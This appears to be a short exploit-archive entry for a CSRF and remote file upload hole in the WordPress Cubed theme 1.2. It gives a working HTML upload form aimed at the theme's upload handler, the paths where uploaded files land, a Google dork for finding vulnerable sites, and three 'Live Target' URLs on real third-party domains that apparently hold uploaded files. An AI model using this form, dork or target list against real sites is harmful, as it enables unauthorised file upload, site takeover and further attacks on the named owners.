WordPress Cubed Theme 1.2 CSRF / File Upload

WordPress Cubed theme version 1.2 suffers from cross site request forgery and remote file upload vulnerabilities.

# Exploit Title: WordPress Theme cubed_v1.2 CSRF File Upload Vulnerability
# Author: howucan
# facebook: https://www.facebook.com/howucan.gr/
# Date: 2016/09/07
# Infected File: upload_handler.php
# Category: webapps/php
# Google dork: inurl:/wp-content/themes/cubed_v1.2/


# Exploit & POC :

<form enctype="multipart/form-data"
action="
http://127.0.0.1/wordpress/wp-content/themes/cubed_v1.2/functions/upload-handler.php"
method="post">
Your File: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

#File path:
http://site.com/wordpress/wp-content/uploads/[FILE]
or
http://site.com/wordpress/wp-content/uploads/[year]/[month]/[FILE]

# Live Target

http://avto-kluchar.info/wp-content/uploads/2016/09/1.jpg
http://auto-locksmith-service.co.uk/wp-content/uploads/2016/09/1.jpg
http://nicoparty.ro/wp-content/uploads/2016/09/1.jpg

############################################################
Do Change details: khAn
############################################################